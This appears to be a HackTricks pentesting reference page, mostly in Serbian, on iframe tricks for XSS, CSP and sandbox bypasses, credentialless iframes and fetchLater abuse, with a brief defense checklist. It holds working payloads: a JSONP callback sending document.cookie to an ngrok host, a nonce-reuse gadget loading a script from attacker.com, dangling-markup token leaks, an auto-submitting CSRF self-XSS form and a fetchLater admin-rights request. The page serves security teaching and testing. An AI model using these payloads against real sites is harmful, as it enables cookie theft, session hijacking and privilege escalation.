Iframes u XSS, CSP i SOP

Tip

Nauči i vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).

Podrži HackTricks

Iframes u XSS

Postoje 3 načina da se odredi sadržaj stranice unutar iframe-a:

  • Putem src koji ukazuje na URL (URL može biti cross origin ili same origin)
  • Putem src koji ukazuje na sadržaj koristeći data: protocol
  • Putem srcdoc koji ukazuje na sadržaj

Pristupanje parent & child varijablama

<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

Ako pristupite prethodnom html-u preko http servera (kao python3 -m http.server) primetićete da će sve skripte biti izvršene (jer ne postoji CSP koji to sprečava)., roditelj neće moći da pristupi promenljivoj secret unutar nijednog iframe-a i samo iframe-ovi if2 & if3 (koji se smatraju same-site) mogu pristupiti secret u originalnom prozoru.
Obratite pažnju da se if4 smatra da ima null origin.

srcdoc specifičnosti koje su važne u real exploits

Dva detalja vezana za srcdoc lako je propustiti tokom exploitation:

  • Osim ako frame nije sandboxovan bez allow-same-origin, srcdoc dokument je same-origin sa parent-om. Dakle, ubacivanje HTML-a kontrolisanog od strane napadača u srcdoc obično je ekvivalentno davanju direktnog DOM pristupa gornjem dokumentu.
  • Iako je URL dokumenta about:srcdoc, relativni URL-ovi se rešavaju koristeći URL stranice koja ga ugnježđuje kao osnovni (base) URL. To znači da će payloads kao što su <script src="/upload/payload.js"></script> ili <img src="/internal/debug"> ciljati origin roditelja, a ne about:srcdoc.

Praktičan payload:

<iframe
srcdoc='<script src="/uploads/payload.js"></script><a href="#test">anchor</a>'></iframe>

Ovo je posebno korisno kada kontrolišeš samo markup, ali znaš same-origin path koji vraća JavaScript, JSONP, ili HTML pod kontrolom napadača bez restriktivnog CSP.

Iframes sa CSP

Tip

Obratite pažnju kako u sledećim bypass-ima odgovor na iframed stranicu ne sadrži nikakav CSP header koji bi sprečio izvršavanje JS-a.

The self value of script-src won’t allow the execution of the JS code using the data: protocol or the srcdoc attribute.
However, even the none value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the src attribute.
Therefore it’s possible to bypass the CSP of a page with:

<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Obratite pažnju kako prethodni CSP dozvoljava izvršavanje samo inline skripte.
Međutim, samo if1 i if2 skripte će biti izvršene, ali samo if1 će moći da pristupi roditeljskoj tajni.

Stoga je moguće zaobići CSP ako možete da upload-ujete JS file na server i učitate ga preko iframe-a čak i sa script-src 'none'. Ovo se potencijalno može postići i zloupotrebom JSONP endpoint-a istog sajta.

Možete testirati ovo sledećim scenarijem u kome se cookie krade čak i uz script-src 'none'. Samo pokrenite aplikaciju i otvorite je u vašem pregledaču:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Nove (2023–2025) tehnike za zaobilaženje CSP-a korišćenjem iframes

Istraživačka zajednica nastavlja da otkriva kreativne načine zloupotrebe iframes kako bi zaobišla restriktivne politike. Ispod možete pronaći najupečatljivije tehnike objavljene tokom poslednjih nekoliko godina:

  • Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023) – Kada aplikacija reflektuje HTML, ali strogi CSP blokira izvršavanje skripti, i dalje možete leak osetljive tokene ubacivanjem dangling <iframe name> atributa. Kada se delimični markup parsira, napadačev script koji se izvršava u zasebnom originu navigira frame na about:blank i čita window.name, koji sada sadrži sve do sledećeg znaka navodnika (na primer CSRF token). Pošto se nijedan JavaScript ne izvršava u kontekstu žrtve, napad obično zaobilazi script-src 'none'. Minimalni PoC je:
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?">  <!-- attribute intentionally left open -->
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
  • Nonce reuse via same-origin iframe – CSP nonces su čitljivi iz DOM-a od strane same-origin dokumenata. Ako napadač može da injektuje ili upload-uje same-origin HTML stranicu i učita je u iframe, child frame može da pročita top.document.querySelector('[nonce]').nonce i mint-uje nove <script nonce> elemente. Ovo pretvara same-origin HTML injection u potpuno izvršenje skripte čak i pod strict-dynamic (jer je nonce već trusted). Sledeći gadget eskalira markup injection u XSS:
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
  • Form-action hijacking (PortSwigger 2024) – Stranica koja ne postavlja form-action direktivu može imati svoj login form re-targeted iz injektovanog iframe-a ili inline HTML-a tako da password manager-i auto-fill-uju i submit-uju kredencijale na eksterni domen, čak i kada je prisutan script-src 'none'. Uvek dopunite default-src sa form-action!

Napomene za odbranu (brza kontrolna lista)

  1. Uvek šaljite sve CSP direktive koje kontrolišu sekundarne kontekste (form-action, frame-src, child-src, object-src, itd.).
  2. Ne oslanjajte se na to da su nonce vrednosti tajne — koristite strict-dynamic i eliminišite injection points.
  3. Kada morate da embedujete nepoverljive dokumente koristite sandbox="allow-scripts allow-same-origin" veoma pažljivo (ili bez allow-same-origin ako vam je potrebna samo izolacija izvršavanja skripti).
  4. Razmotrite defense-in-depth COOP+COEP deployment; novi <iframe credentialless> atribut (§ below) vam to omogućava bez narušavanja third-party embeds.

Ostali Payloads pronađeni u divljem okruženju

<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Sandbox za iframe

Sadržaj unutar iframe može biti podvrgnut dodatnim ograničenjima korišćenjem atributa sandbox. Po defaultu, ovaj atribut nije primenjen, što znači da nema nikakvih ograničenja.

Kada se koristi, atribut sandbox nameće nekoliko ograničenja:

  • Sadržaj se tretira kao da potiče iz jedinstvenog izvora.
  • Svaki pokušaj submitovanja formi je blokiran.
  • Izvršavanje skripti je zabranjeno.
  • Pristup određenim API-jima je onemogućen.
  • Onemogućava linkovima da komuniciraju sa drugim browsing kontekstima.
  • Korišćenje plugina preko <embed>, <object>, <applet>, ili sličnih tagova je zabranjeno.
  • Sadržaju se onemogućava navigacija top-level browsing konteksta samog sebe.
  • Funkcije koje se pokreću automatski, kao što su reprodukcija videa ili automatsko fokusiranje kontrola forme, su blokirane.

Savet: Moderni browseri podržavaju granularne zastavice poput allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation, itd. Kombinujte ih tako da dodelite samo minimalne mogućnosti koje su potrebne ugrađenoj aplikaciji.

Vrednost atributa može ostati prazna (sandbox="") da bi se primenila sva prethodno navedena ograničenja. Alternativno, može se postaviti kao lista vrednosti razdvojenih razmakom koje izuzimaju iframe od određenih ograničenja.

<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>

Ako je ugrađena stranica same-origin i dozvolite i allow-scripts i allow-same-origin, sandbox postaje veoma slaba granica. Ugrađeni sadržaj može izvršavati JavaScript, pristupiti top.document i čak ukloniti atribut sandbox sa sopstvenog <iframe> elementa:

const me = top.document.querySelector("iframe")
me.removeAttribute("sandbox")
top.location = "/admin"

U praksi, sandbox="allow-scripts allow-same-origin" treba tretirati kao nesiguran za sadržaj istog porekla koji je pod uticajem napadača. I dalje je koristan za neke third-party embeds, ali nije izolaciona granica protiv zlonamernog HTML-a istog porekla.

Credentialless iframes

Kako je objašnjeno u this article, zastavica credentialless u iframe-u se koristi da učita stranicu unutar iframe-a bez slanja credentials u zahtevu, a pritom zadrži same origin policy (SOP) učitane stranice u iframe-u.

Pošto je Chrome 110 (February 2023) feature podrazumevano omogućen i specifikacija se standardizuje među pregledačima pod nazivom anonymous iframe, MDN ovo opisuje kao: “mehanizam za učitavanje third-party iframes u potpuno novu, prolaznu particiju skladišta tako da se cookies, localStorage ili IndexedDB ne dele sa pravim origin-om”. Posledice za napadače i odbranu:

  • Scriptovi u različitim credentialless iframes i dalje dele isti top-level origin i mogu slobodno da međusobno interaguju preko DOM-a, što čini izvedivim multi-iframe self-XSS napade (vidi PoC dole).
  • Pošto je mreža credential-stripped, svaki zahtev unutar iframe-a se efektivno ponaša kao neautentifikovana sesija – endpointi zaštićeni CSRF-om obično ne funkcionišu, ali javne stranice koje su leakable via DOM su i dalje u opsegu.
  • Skladište je particionisano po nonce-u top-level dokumenta: credentialless frame-ovi na istoj stranici mogu deliti skladište međusobno, ali se ono briše kada se top-level dokument odbaci.
  • Pop-up prozori koji su otvoreni iz credentialless iframe-a dobijaju implicitni rel="noopener", što prekida neke OAuth tokove.
  • Očekuje se da pregledači onemoguće autofill/password managers unutar credentialless iframe-ova, ograničavajući credential theft putem autofill-a u tim kontekstima.
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar';            // write
alert(window.top[2].document.cookie);                 // read -> foo=bar
  • Exploit example: Self-XSS + CSRF

U ovom napadu, napadač priprema zlonamerni veb-sajt sa 2 iframes:

  • Iframe koji učitava stranicu žrtve sa credentialless flagom sa CSRF-om koji pokreće XSS (na primer Self-XSS u polju username korisnika):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • Drugi iframe koji zapravo ima korisnika prijavljenog (bez credentialless flag-a).

Zatim, preko XSS-a moguće je pristupiti drugom iframe-u pošto imaju isti SOP i ukrasti cookie, na primer izvršavanjem:

alert(window.top[1].document.cookie);

fetchLater Napad

Kao što je navedeno u this article API fetchLater omogućava konfiguraciju zahteva koji će biti izvršen kasnije. Ovo se može zloupotrebiti da, na primer, prijavite žrtvu unutar sesije napadača (pomoću Self-XSS), zakažete fetchLater zahtev (na primer da promenite lozinku trenutnog korisnika) i odjavite se iz sesije napadača. Kada se žrtva potom prijavi u svoju sesiju, odloženi zahtev može da se izvrši koristeći kolačiće koji su dostupni u trenutku slanja, menjajući lozinku žrtve na onu koju je postavio napadač.

Operativne napomene:

  • fetchLater je ušao u Chrome origin trial 2024. i isporučen je u Chrome 135 (April 2025), pa pre oslanjanja proverite da li je podržan.
  • The response is not available to JavaScript; body/headers are ignored once the deferred request is sent.
  • CSP enforcement uses connect-src (not script-src) for deferred requests.
  • Requests fire on page unload or when activateAfter expires (whichever happens first).
  • The maximum single delay is currently 299000 ms, so long waits require re-scheduling several deferred requests.

Na ovaj način, čak i ako se URL žrtve ne može učitati u iframe (zbog CSP-a ili drugih ograničenja), napadač i dalje može izvršiti zahtev u sesiji žrtve.

var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
for (let i = 1; i <= 20; i++)
fetchLater(req,{activateAfter: i * 299000})

Iframes u SOP

Pogledajte sledeće stranice:

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

Reference

Tip

Nauči i vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči i vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči i vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Pregledaj kompletan HackTricks Training katalog za assessment tracks (ARTA/GRTA/AzRTA) i Linux Hacking Expert (LHE).

Podrži HackTricks